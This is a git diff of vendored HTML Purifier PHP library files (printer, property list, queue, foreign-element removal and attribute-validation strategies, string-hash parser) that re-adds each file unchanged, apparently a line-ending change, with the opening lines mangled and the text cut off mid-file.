- /** - * Creates a heavy header row - * @param string $text - * @param int $num - * @return string - */ - protected function heavyHeader($text, $num = 1) - { - $ret = ''; - $ret .= $this->start('tr'); - $ret .= $this->element('th', $text, array('colspan' => $num, 'class' => 'heavy')); - $ret .= $this->end('tr'); - return $ret; - } -} - -// vim: et sw=4 sts=4 +config =& $config; + + $this->def = $config->getHTMLDefinition(); + + $ret .= $this->start('div', array('class' => 'HTMLPurifier_Printer')); + + $ret .= $this->renderDoctype(); + $ret .= $this->renderEnvironment(); + $ret .= $this->renderContentSets(); + $ret .= $this->renderInfo(); + + $ret .= $this->end('div'); + + return $ret; + } + + /** + * Renders the Doctype table + * @return string + */ + protected function renderDoctype() + { + $doctype = $this->def->doctype; + $ret = ''; + $ret .= $this->start('table'); + $ret .= $this->element('caption', 'Doctype'); + $ret .= $this->row('Name', $doctype->name); + $ret .= $this->row('XML', $doctype->xml ? 'Yes' : 'No'); + $ret .= $this->row('Default Modules', implode(', ', $doctype->modules)); + $ret .= $this->row('Default Tidy Modules', implode(', ', $doctype->tidyModules)); + $ret .= $this->end('table'); + return $ret; + } + + + /** + * Renders environment table, which is miscellaneous info + * @return string + */ + protected function renderEnvironment() + { + $def = $this->def; + + $ret = ''; + + $ret .= $this->start('table'); + $ret .= $this->element('caption', 'Environment'); + + $ret .= $this->row('Parent of fragment', $def->info_parent); + $ret .= $this->renderChildren($def->info_parent_def->child); + $ret .= $this->row('Block wrap name', $def->info_block_wrapper); + + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Global attributes'); + $ret .= $this->element('td', $this->listifyAttr($def->info_global_attr), null, 0); + $ret .= $this->end('tr'); + + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Tag transforms'); + $list = array(); + foreach ($def->info_tag_transform as $old => $new) { + $new = $this->getClass($new, 'TagTransform_'); + $list[] = "<$old> with $new"; + } + $ret .= $this->element('td', $this->listify($list)); + $ret .= $this->end('tr'); + + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Pre-AttrTransform'); + $ret .= $this->element('td', $this->listifyObjectList($def->info_attr_transform_pre)); + $ret .= $this->end('tr'); + + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Post-AttrTransform'); + $ret .= $this->element('td', $this->listifyObjectList($def->info_attr_transform_post)); + $ret .= $this->end('tr'); + + $ret .= $this->end('table'); + return $ret; + } + + /** + * Renders the Content Sets table + * @return string + */ + protected function renderContentSets() + { + $ret = ''; + $ret .= $this->start('table'); + $ret .= $this->element('caption', 'Content Sets'); + foreach ($this->def->info_content_sets as $name => $lookup) { + $ret .= $this->heavyHeader($name); + $ret .= $this->start('tr'); + $ret .= $this->element('td', $this->listifyTagLookup($lookup)); + $ret .= $this->end('tr'); + } + $ret .= $this->end('table'); + return $ret; + } + + /** + * Renders the Elements ($info) table + * @return string + */ + protected function renderInfo() + { + $ret = ''; + $ret .= $this->start('table'); + $ret .= $this->element('caption', 'Elements ($info)'); + ksort($this->def->info); + $ret .= $this->heavyHeader('Allowed tags', 2); + $ret .= $this->start('tr'); + $ret .= $this->element('td', $this->listifyTagLookup($this->def->info), array('colspan' => 2)); + $ret .= $this->end('tr'); + foreach ($this->def->info as $name => $def) { + $ret .= $this->start('tr'); + $ret .= $this->element('th', "<$name>", array('class' => 'heavy', 'colspan' => 2)); + $ret .= $this->end('tr'); + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Inline content'); + $ret .= $this->element('td', $def->descendants_are_inline ? 'Yes' : 'No'); + $ret .= $this->end('tr'); + if (!empty($def->excludes)) { + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Excludes'); + $ret .= $this->element('td', $this->listifyTagLookup($def->excludes)); + $ret .= $this->end('tr'); + } + if (!empty($def->attr_transform_pre)) { + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Pre-AttrTransform'); + $ret .= $this->element('td', $this->listifyObjectList($def->attr_transform_pre)); + $ret .= $this->end('tr'); + } + if (!empty($def->attr_transform_post)) { + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Post-AttrTransform'); + $ret .= $this->element('td', $this->listifyObjectList($def->attr_transform_post)); + $ret .= $this->end('tr'); + } + if (!empty($def->auto_close)) { + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Auto closed by'); + $ret .= $this->element('td', $this->listifyTagLookup($def->auto_close)); + $ret .= $this->end('tr'); + } + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Allowed attributes'); + $ret .= $this->element('td', $this->listifyAttr($def->attr), array(), 0); + $ret .= $this->end('tr'); + + if (!empty($def->required_attr)) { + $ret .= $this->row('Required attributes', $this->listify($def->required_attr)); + } + + $ret .= $this->renderChildren($def->child); + } + $ret .= $this->end('table'); + return $ret; + } + + /** + * Renders a row describing the allowed children of an element + * @param HTMLPurifier_ChildDef $def HTMLPurifier_ChildDef of pertinent element + * @return string + */ + protected function renderChildren($def) + { + $context = new HTMLPurifier_Context(); + $ret = ''; + $ret .= $this->start('tr'); + $elements = array(); + $attr = array(); + if (isset($def->elements)) { + if ($def->type == 'strictblockquote') { + $def->validateChildren(array(), $this->config, $context); + } + $elements = $def->elements; + } + if ($def->type == 'chameleon') { + $attr['rowspan'] = 2; + } elseif ($def->type == 'empty') { + $elements = array(); + } elseif ($def->type == 'table') { + $elements = array_flip( + array( + 'col', + 'caption', + 'colgroup', + 'thead', + 'tfoot', + 'tbody', + 'tr' + ) + ); + } + $ret .= $this->element('th', 'Allowed children', $attr); + + if ($def->type == 'chameleon') { + + $ret .= $this->element( + 'td', + 'Block: ' . + $this->escape($this->listifyTagLookup($def->block->elements)), + null, + 0 + ); + $ret .= $this->end('tr'); + $ret .= $this->start('tr'); + $ret .= $this->element( + 'td', + 'Inline: ' . + $this->escape($this->listifyTagLookup($def->inline->elements)), + null, + 0 + ); + + } elseif ($def->type == 'custom') { + + $ret .= $this->element( + 'td', + '' . ucfirst($def->type) . ': ' . + $def->dtd_regex + ); + + } else { + $ret .= $this->element( + 'td', + '' . ucfirst($def->type) . ': ' . + $this->escape($this->listifyTagLookup($elements)), + null, + 0 + ); + } + $ret .= $this->end('tr'); + return $ret; + } + + /** + * Listifies a tag lookup table. + * @param array $array Tag lookup array in form of array('tagname' => true) + * @return string + */ + protected function listifyTagLookup($array) + { + ksort($array); + $list = array(); + foreach ($array as $name => $discard) { + if ($name !== '#PCDATA' && !isset($this->def->info[$name])) { + continue; + } + $list[] = $name; + } + return $this->listify($list); + } + + /** + * Listifies a list of objects by retrieving class names and internal state + * @param array $array List of objects + * @return string + * @todo Also add information about internal state + */ + protected function listifyObjectList($array) + { + ksort($array); + $list = array(); + foreach ($array as $obj) { + $list[] = $this->getClass($obj, 'AttrTransform_'); + } + return $this->listify($list); + } + + /** + * Listifies a hash of attributes to AttrDef classes + * @param array $array Array hash in form of array('attrname' => HTMLPurifier_AttrDef) + * @return string + */ + protected function listifyAttr($array) + { + ksort($array); + $list = array(); + foreach ($array as $name => $obj) { + if ($obj === false) { + continue; + } + $list[] = "$name = " . $this->getClass($obj, 'AttrDef_') . ''; + } + return $this->listify($list); + } + + /** + * Creates a heavy header row + * @param string $text + * @param int $num + * @return string + */ + protected function heavyHeader($text, $num = 1) + { + $ret = ''; + $ret .= $this->start('tr'); + $ret .= $this->element('th', $text, array('colspan' => $num, 'class' => 'heavy')); + $ret .= $this->end('tr'); + return $ret; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyList.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyList.php index d27fd53ec1..189348fd9e 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyList.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyList.php @@ -1,122 +1,122 @@ -parent = $parent; - } - - /** - * Recursively retrieves the value for a key - * @param string $name - * @throws HTMLPurifier_Exception - */ - public function get($name) - { - if ($this->has($name)) { - return $this->data[$name]; - } - // possible performance bottleneck, convert to iterative if necessary - if ($this->parent) { - return $this->parent->get($name); - } - throw new HTMLPurifier_Exception("Key '$name' not found"); - } - - /** - * Sets the value of a key, for this plist - * @param string $name - * @param mixed $value - */ - public function set($name, $value) - { - $this->data[$name] = $value; - } - - /** - * Returns true if a given key exists - * @param string $name - * @return bool - */ - public function has($name) - { - return array_key_exists($name, $this->data); - } - - /** - * Resets a value to the value of it's parent, usually the default. If - * no value is specified, the entire plist is reset. - * @param string $name - */ - public function reset($name = null) - { - if ($name == null) { - $this->data = array(); - } else { - unset($this->data[$name]); - } - } - - /** - * Squashes this property list and all of its property lists into a single - * array, and returns the array. This value is cached by default. - * @param bool $force If true, ignores the cache and regenerates the array. - * @return array - */ - public function squash($force = false) - { - if ($this->cache !== null && !$force) { - return $this->cache; - } - if ($this->parent) { - return $this->cache = array_merge($this->parent->squash($force), $this->data); - } else { - return $this->cache = $this->data; - } - } - - /** - * Returns the parent plist. - * @return HTMLPurifier_PropertyList - */ - public function getParent() - { - return $this->parent; - } - - /** - * Sets the parent plist. - * @param HTMLPurifier_PropertyList $plist Parent plist - */ - public function setParent($plist) - { - $this->parent = $plist; - } -} - -// vim: et sw=4 sts=4 +parent = $parent; + } + + /** + * Recursively retrieves the value for a key + * @param string $name + * @throws HTMLPurifier_Exception + */ + public function get($name) + { + if ($this->has($name)) { + return $this->data[$name]; + } + // possible performance bottleneck, convert to iterative if necessary + if ($this->parent) { + return $this->parent->get($name); + } + throw new HTMLPurifier_Exception("Key '$name' not found"); + } + + /** + * Sets the value of a key, for this plist + * @param string $name + * @param mixed $value + */ + public function set($name, $value) + { + $this->data[$name] = $value; + } + + /** + * Returns true if a given key exists + * @param string $name + * @return bool + */ + public function has($name) + { + return array_key_exists($name, $this->data); + } + + /** + * Resets a value to the value of it's parent, usually the default. If + * no value is specified, the entire plist is reset. + * @param string $name + */ + public function reset($name = null) + { + if ($name == null) { + $this->data = array(); + } else { + unset($this->data[$name]); + } + } + + /** + * Squashes this property list and all of its property lists into a single + * array, and returns the array. This value is cached by default. + * @param bool $force If true, ignores the cache and regenerates the array. + * @return array + */ + public function squash($force = false) + { + if ($this->cache !== null && !$force) { + return $this->cache; + } + if ($this->parent) { + return $this->cache = array_merge($this->parent->squash($force), $this->data); + } else { + return $this->cache = $this->data; + } + } + + /** + * Returns the parent plist. + * @return HTMLPurifier_PropertyList + */ + public function getParent() + { + return $this->parent; + } + + /** + * Sets the parent plist. + * @param HTMLPurifier_PropertyList $plist Parent plist + */ + public function setParent($plist) + { + $this->parent = $plist; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyListIterator.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyListIterator.php index 1e707e2ae3..15b330ea30 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyListIterator.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyListIterator.php @@ -1,42 +1,42 @@ -l = strlen($filter); - $this->filter = $filter; - } - - /** - * @return bool - */ - public function accept() - { - $key = $this->getInnerIterator()->key(); - if (strncmp($key, $this->filter, $this->l) !== 0) { - return false; - } - return true; - } -} - -// vim: et sw=4 sts=4 +l = strlen($filter); + $this->filter = $filter; + } + + /** + * @return bool + */ + public function accept() + { + $key = $this->getInnerIterator()->key(); + if (strncmp($key, $this->filter, $this->l) !== 0) { + return false; + } + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Queue.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Queue.php index a75894d451..f58db9042a 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Queue.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Queue.php @@ -1,56 +1,56 @@ -input = $input; - $this->output = array(); - } - - /** - * Shifts an element off the front of the queue. - */ - public function shift() { - if (empty($this->output)) { - $this->output = array_reverse($this->input); - $this->input = array(); - } - if (empty($this->output)) { - return NULL; - } - return array_pop($this->output); - } - - /** - * Pushes an element onto the front of the queue. - */ - public function push($x) { - array_push($this->input, $x); - } - - /** - * Checks if it's empty. - */ - public function isEmpty() { - return empty($this->input) && empty($this->output); - } -} +input = $input; + $this->output = array(); + } + + /** + * Shifts an element off the front of the queue. + */ + public function shift() { + if (empty($this->output)) { + $this->output = array_reverse($this->input); + $this->input = array(); + } + if (empty($this->output)) { + return NULL; + } + return array_pop($this->output); + } + + /** + * Pushes an element onto the front of the queue. + */ + public function push($x) { + array_push($this->input, $x); + } + + /** + * Checks if it's empty. + */ + public function isEmpty() { + return empty($this->input) && empty($this->output); + } +} diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy.php index 291eb83c93..e1ff3b72df 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy.php @@ -1,26 +1,26 @@ -getHTMLDefinition(); - $generator = new HTMLPurifier_Generator($config, $context); - $result = array(); - - $escape_invalid_tags = $config->get('Core.EscapeInvalidTags'); - $remove_invalid_img = $config->get('Core.RemoveInvalidImg'); - - // currently only used to determine if comments should be kept - $trusted = $config->get('HTML.Trusted'); - $comment_lookup = $config->get('HTML.AllowedComments'); - $comment_regexp = $config->get('HTML.AllowedCommentsRegexp'); - $check_comments = $comment_lookup !== array() || $comment_regexp !== null; - - $remove_script_contents = $config->get('Core.RemoveScriptContents'); - $hidden_elements = $config->get('Core.HiddenElements'); - - // remove script contents compatibility - if ($remove_script_contents === true) { - $hidden_elements['script'] = true; - } elseif ($remove_script_contents === false && isset($hidden_elements['script'])) { - unset($hidden_elements['script']); - } - - $attr_validator = new HTMLPurifier_AttrValidator(); - - // removes tokens until it reaches a closing tag with its value - $remove_until = false; - - // converts comments into text tokens when this is equal to a tag name - $textify_comments = false; - - $token = false; - $context->register('CurrentToken', $token); - - $e = false; - if ($config->get('Core.CollectErrors')) { - $e =& $context->get('ErrorCollector'); - } - - foreach ($tokens as $token) { - if ($remove_until) { - if (empty($token->is_tag) || $token->name !== $remove_until) { - continue; - } - } - if (!empty($token->is_tag)) { - // DEFINITION CALL - - // before any processing, try to transform the element - if (isset($definition->info_tag_transform[$token->name])) { - $original_name = $token->name; - // there is a transformation for this tag - // DEFINITION CALL - $token = $definition-> - info_tag_transform[$token->name]->transform($token, $config, $context); - if ($e) { - $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Tag transform', $original_name); - } - } - - if (isset($definition->info[$token->name])) { - // mostly everything's good, but - // we need to make sure required attributes are in order - if (($token instanceof HTMLPurifier_Token_Start || $token instanceof HTMLPurifier_Token_Empty) && - $definition->info[$token->name]->required_attr && - ($token->name != 'img' || $remove_invalid_img) // ensure config option still works - ) { - $attr_validator->validateToken($token, $config, $context); - $ok = true; - foreach ($definition->info[$token->name]->required_attr as $name) { - if (!isset($token->attr[$name])) { - $ok = false; - break; - } - } - if (!$ok) { - if ($e) { - $e->send( - E_ERROR, - 'Strategy_RemoveForeignElements: Missing required attribute', - $name - ); - } - continue; - } - $token->armor['ValidateAttributes'] = true; - } - - if (isset($hidden_elements[$token->name]) && $token instanceof HTMLPurifier_Token_Start) { - $textify_comments = $token->name; - } elseif ($token->name === $textify_comments && $token instanceof HTMLPurifier_Token_End) { - $textify_comments = false; - } - - } elseif ($escape_invalid_tags) { - // invalid tag, generate HTML representation and insert in - if ($e) { - $e->send(E_WARNING, 'Strategy_RemoveForeignElements: Foreign element to text'); - } - $token = new HTMLPurifier_Token_Text( - $generator->generateFromToken($token) - ); - } else { - // check if we need to destroy all of the tag's children - // CAN BE GENERICIZED - if (isset($hidden_elements[$token->name])) { - if ($token instanceof HTMLPurifier_Token_Start) { - $remove_until = $token->name; - } elseif ($token instanceof HTMLPurifier_Token_Empty) { - // do nothing: we're still looking - } else { - $remove_until = false; - } - if ($e) { - $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Foreign meta element removed'); - } - } else { - if ($e) { - $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Foreign element removed'); - } - } - continue; - } - } elseif ($token instanceof HTMLPurifier_Token_Comment) { - // textify comments in script tags when they are allowed - if ($textify_comments !== false) { - $data = $token->data; - $token = new HTMLPurifier_Token_Text($data); - } elseif ($trusted || $check_comments) { - // always cleanup comments - $trailing_hyphen = false; - if ($e) { - // perform check whether or not there's a trailing hyphen - if (substr($token->data, -1) == '-') { - $trailing_hyphen = true; - } - } - $token->data = rtrim($token->data, '-'); - $found_double_hyphen = false; - while (strpos($token->data, '--') !== false) { - $found_double_hyphen = true; - $token->data = str_replace('--', '-', $token->data); - } - if ($trusted || !empty($comment_lookup[trim($token->data)]) || - ($comment_regexp !== null && preg_match($comment_regexp, trim($token->data)))) { - // OK good - if ($e) { - if ($trailing_hyphen) { - $e->send( - E_NOTICE, - 'Strategy_RemoveForeignElements: Trailing hyphen in comment removed' - ); - } - if ($found_double_hyphen) { - $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Hyphens in comment collapsed'); - } - } - } else { - if ($e) { - $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed'); - } - continue; - } - } else { - // strip comments - if ($e) { - $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed'); - } - continue; - } - } elseif ($token instanceof HTMLPurifier_Token_Text) { - } else { - continue; - } - $result[] = $token; - } - if ($remove_until && $e) { - // we removed tokens until the end, throw error - $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Token removed to end', $remove_until); - } - $context->destroy('CurrentToken'); - return $result; - } -} - -// vim: et sw=4 sts=4 +getHTMLDefinition(); + $generator = new HTMLPurifier_Generator($config, $context); + $result = array(); + + $escape_invalid_tags = $config->get('Core.EscapeInvalidTags'); + $remove_invalid_img = $config->get('Core.RemoveInvalidImg'); + + // currently only used to determine if comments should be kept + $trusted = $config->get('HTML.Trusted'); + $comment_lookup = $config->get('HTML.AllowedComments'); + $comment_regexp = $config->get('HTML.AllowedCommentsRegexp'); + $check_comments = $comment_lookup !== array() || $comment_regexp !== null; + + $remove_script_contents = $config->get('Core.RemoveScriptContents'); + $hidden_elements = $config->get('Core.HiddenElements'); + + // remove script contents compatibility + if ($remove_script_contents === true) { + $hidden_elements['script'] = true; + } elseif ($remove_script_contents === false && isset($hidden_elements['script'])) { + unset($hidden_elements['script']); + } + + $attr_validator = new HTMLPurifier_AttrValidator(); + + // removes tokens until it reaches a closing tag with its value + $remove_until = false; + + // converts comments into text tokens when this is equal to a tag name + $textify_comments = false; + + $token = false; + $context->register('CurrentToken', $token); + + $e = false; + if ($config->get('Core.CollectErrors')) { + $e =& $context->get('ErrorCollector'); + } + + foreach ($tokens as $token) { + if ($remove_until) { + if (empty($token->is_tag) || $token->name !== $remove_until) { + continue; + } + } + if (!empty($token->is_tag)) { + // DEFINITION CALL + + // before any processing, try to transform the element + if (isset($definition->info_tag_transform[$token->name])) { + $original_name = $token->name; + // there is a transformation for this tag + // DEFINITION CALL + $token = $definition-> + info_tag_transform[$token->name]->transform($token, $config, $context); + if ($e) { + $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Tag transform', $original_name); + } + } + + if (isset($definition->info[$token->name])) { + // mostly everything's good, but + // we need to make sure required attributes are in order + if (($token instanceof HTMLPurifier_Token_Start || $token instanceof HTMLPurifier_Token_Empty) && + $definition->info[$token->name]->required_attr && + ($token->name != 'img' || $remove_invalid_img) // ensure config option still works + ) { + $attr_validator->validateToken($token, $config, $context); + $ok = true; + foreach ($definition->info[$token->name]->required_attr as $name) { + if (!isset($token->attr[$name])) { + $ok = false; + break; + } + } + if (!$ok) { + if ($e) { + $e->send( + E_ERROR, + 'Strategy_RemoveForeignElements: Missing required attribute', + $name + ); + } + continue; + } + $token->armor['ValidateAttributes'] = true; + } + + if (isset($hidden_elements[$token->name]) && $token instanceof HTMLPurifier_Token_Start) { + $textify_comments = $token->name; + } elseif ($token->name === $textify_comments && $token instanceof HTMLPurifier_Token_End) { + $textify_comments = false; + } + + } elseif ($escape_invalid_tags) { + // invalid tag, generate HTML representation and insert in + if ($e) { + $e->send(E_WARNING, 'Strategy_RemoveForeignElements: Foreign element to text'); + } + $token = new HTMLPurifier_Token_Text( + $generator->generateFromToken($token) + ); + } else { + // check if we need to destroy all of the tag's children + // CAN BE GENERICIZED + if (isset($hidden_elements[$token->name])) { + if ($token instanceof HTMLPurifier_Token_Start) { + $remove_until = $token->name; + } elseif ($token instanceof HTMLPurifier_Token_Empty) { + // do nothing: we're still looking + } else { + $remove_until = false; + } + if ($e) { + $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Foreign meta element removed'); + } + } else { + if ($e) { + $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Foreign element removed'); + } + } + continue; + } + } elseif ($token instanceof HTMLPurifier_Token_Comment) { + // textify comments in script tags when they are allowed + if ($textify_comments !== false) { + $data = $token->data; + $token = new HTMLPurifier_Token_Text($data); + } elseif ($trusted || $check_comments) { + // always cleanup comments + $trailing_hyphen = false; + if ($e) { + // perform check whether or not there's a trailing hyphen + if (substr($token->data, -1) == '-') { + $trailing_hyphen = true; + } + } + $token->data = rtrim($token->data, '-'); + $found_double_hyphen = false; + while (strpos($token->data, '--') !== false) { + $found_double_hyphen = true; + $token->data = str_replace('--', '-', $token->data); + } + if ($trusted || !empty($comment_lookup[trim($token->data)]) || + ($comment_regexp !== null && preg_match($comment_regexp, trim($token->data)))) { + // OK good + if ($e) { + if ($trailing_hyphen) { + $e->send( + E_NOTICE, + 'Strategy_RemoveForeignElements: Trailing hyphen in comment removed' + ); + } + if ($found_double_hyphen) { + $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Hyphens in comment collapsed'); + } + } + } else { + if ($e) { + $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed'); + } + continue; + } + } else { + // strip comments + if ($e) { + $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed'); + } + continue; + } + } elseif ($token instanceof HTMLPurifier_Token_Text) { + } else { + continue; + } + $result[] = $token; + } + if ($remove_until && $e) { + // we removed tokens until the end, throw error + $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Token removed to end', $remove_until); + } + $context->destroy('CurrentToken'); + return $result; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/ValidateAttributes.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/ValidateAttributes.php index 428f975fc9..fbb3d27c81 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/ValidateAttributes.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/ValidateAttributes.php @@ -1,45 +1,45 @@ -register('CurrentToken', $token); - - foreach ($tokens as $key => $token) { - - // only process tokens that have attributes, - // namely start and empty tags - if (!$token instanceof HTMLPurifier_Token_Start && !$token instanceof HTMLPurifier_Token_Empty) { - continue; - } - - // skip tokens that are armored - if (!empty($token->armor['ValidateAttributes'])) { - continue; - } - - // note that we have no facilities here for removing tokens - $validator->validateToken($token, $config, $context); - } - $context->destroy('CurrentToken'); - return $tokens; - } -} - -// vim: et sw=4 sts=4 +register('CurrentToken', $token); + + foreach ($tokens as $key => $token) { + + // only process tokens that have attributes, + // namely start and empty tags + if (!$token instanceof HTMLPurifier_Token_Start && !$token instanceof HTMLPurifier_Token_Empty) { + continue; + } + + // skip tokens that are armored + if (!empty($token->armor['ValidateAttributes'])) { + continue; + } + + // note that we have no facilities here for removing tokens + $validator->validateToken($token, $config, $context); + } + $context->destroy('CurrentToken'); + return $tokens; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHash.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHash.php index 8d0740cdc3..c07370197a 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHash.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHash.php @@ -1,47 +1,47 @@ -accessed[$index] = true; - return parent::offsetGet($index); - } - - /** - * Returns a lookup array of all array indexes that have been accessed. - * @return array in form array($index => true). - */ - public function getAccessed() - { - return $this->accessed; - } - - /** - * Resets the access array. - */ - public function resetAccessed() - { - $this->accessed = array(); - } -} - -// vim: et sw=4 sts=4 +accessed[$index] = true; + return parent::offsetGet($index); + } + + /** + * Returns a lookup array of all array indexes that have been accessed. + * @return array in form array($index => true). + */ + public function getAccessed() + { + return $this->accessed; + } + + /** + * Resets the access array. + */ + public function resetAccessed() + { + $this->accessed = array(); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHashParser.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHashParser.php index 05abd837e7..7c73f80835 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHashParser.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHashParser.php @@ -1,136 +1,136 @@ - 'DefaultKeyValue', - * 'KEY' => 'Value', - * 'KEY2' => 'Value2', - * 'MULTILINE-KEY' => "Multiline\nvalue.\n", - * ) - * - * We use this as an easy to use file-format for configuration schema - * files, but the class itself is usage agnostic. - * - * You can use ---- to forcibly terminate parsing of a single string-hash; - * this marker is used in multi string-hashes to delimit boundaries. - */ -class HTMLPurifier_StringHashParser -{ - - /** - * @type string - */ - public $default = 'ID'; - - /** - * Parses a file that contains a single string-hash. - * @param string $file - * @return array - */ - public function parseFile($file) - { - if (!file_exists($file)) { - return false; - } - $fh = fopen($file, 'r'); - if (!$fh) { - return false; - } - $ret = $this->parseHandle($fh); - fclose($fh); - return $ret; - } - - /** - * Parses a file that contains multiple string-hashes delimited by '----' - * @param string $file - * @return array - */ - public function parseMultiFile($file) - { - if (!file_exists($file)) { - return false; - } - $ret = array(); - $fh = fopen($file, 'r'); - if (!$fh) { - return false; - } - while (!feof($fh)) { - $ret[] = $this->parseHandle($fh); - } - fclose($fh); - return $ret; - } - - /** - * Internal parser that acepts a file handle. - * @note While it's possible to simulate in-memory parsing by using - * custom stream wrappers, if such a use-case arises we should - * factor out the file handle into its own class. - * @param resource $fh File handle with pointer at start of valid string-hash - * block. - * @return array - */ - protected function parseHandle($fh) - { - $state = false; - $single = false; - $ret = array(); - do { - $line = fgets($fh); - if ($line === false) { - break; - } - $line = rtrim($line, "\n\r"); - if (!$state && $line === '') { - continue; - } - if ($line === '----') { - break; - } - if (strncmp('--#', $line, 3) === 0) { - // Comment - continue; - } elseif (strncmp('--', $line, 2) === 0) { - // Multiline declaration - $state = trim($line, '- '); - if (!isset($ret[$state])) { - $ret[$state] = ''; - } - continue; - } elseif (!$state) { - $single = true; - if (strpos($line, ':') !== false) { - // Single-line declaration - list($state, $line) = explode(':', $line, 2); - $line = trim($line); - } else { - // Use default declaration - $state = $this->default; - } - } - if ($single) { - $ret[$state] = $line; - $single = false; - $state = false; - } else { - $ret[$state] .= "$line\n"; - } - } while (!feof($fh)); - return $ret; - } -} - -// vim: et sw=4 sts=4 + 'DefaultKeyValue', + * 'KEY' => 'Value', + * 'KEY2' => 'Value2', + * 'MULTILINE-KEY' => "Multiline\nvalue.\n", + * ) + * + * We use this as an easy to use file-format for configuration schema + * files, but the class itself is usage agnostic. + * + * You can use ---- to forcibly terminate parsing of a single string-hash; + * this marker is used in multi string-hashes to delimit boundaries. + */ +class HTMLPurifier_StringHashParser +{ + + /** + * @type string + */ + public $default = 'ID'; + + /** + * Parses a file that contains a single string-hash. + * @param string $file + * @return array + */ + public function parseFile($file) + { + if (!file_exists($file)) { + return false; + } + $fh = fopen($file, 'r'); + if (!$fh) { + return false; + } + $ret = $this->parseHandle($fh); + fclose($fh); + return $ret; + } + + /** + * Parses a file that contains multiple string-hashes delimited by '----' + * @param string $file + * @return array + */ + public function parseMultiFile($file) + { + if (!file_exists($file)) { + return false; + } + $ret = array(); + $fh = fopen($file, 'r'); + if (!$fh) { + return false; + } + while (!feof($fh)) { + $ret[] = $this->parseHandle($fh); + } + fclose($fh); + return $ret; + } + + /** + * Internal parser that acepts a file handle. + * @note While it's possible to simulate in-memory parsing by using + * custom stream wrappers, if such a use-case arises we should + * factor out the file handle into its own class. + * @param resource $fh File handle with pointer at start of valid string-hash + * block. + * @return array + */ + protected function parseHandle($fh) + { + $state = false; + $single = false; + $ret = array(); + do { + $line = fgets($fh); + if ($line === false) { + break; + } + $line = rtrim($line, "\n\r"); + if (!$state && $line === '') { + continue; + } + if ($line === '----') { + break; + } + if (strncmp('--#', $line, 3) === 0) { + // Comment + continue; + } elseif (strncmp('--', $line, 2) === 0) { + // Multiline declaration + $state = trim($line, '- '); + if (!isset($ret[$state])) { + $ret[$state] = ''; + } + continue; + } elseif (!$state) { + $single = true; + if (strpos($line, ':') !== false) { + // Single-line declaration + list($state, $line) = explode(':', $line, 2); + $line = trim($line); + } else { + // Use default declaration + $state = $this->default; + } + } + if ($single) { + $ret[$state] = $line; + $single = false; + $state = false; + } else { + $ret[$state] .= "$line\n"; + } + } while (!feof($fh)); + return $ret; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform.php index 0f481bfd15..7b8d833433 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform.php @@ -1,37 +1,37 @@ - 'xx-small', - '1' => 'xx-small', - '2' => 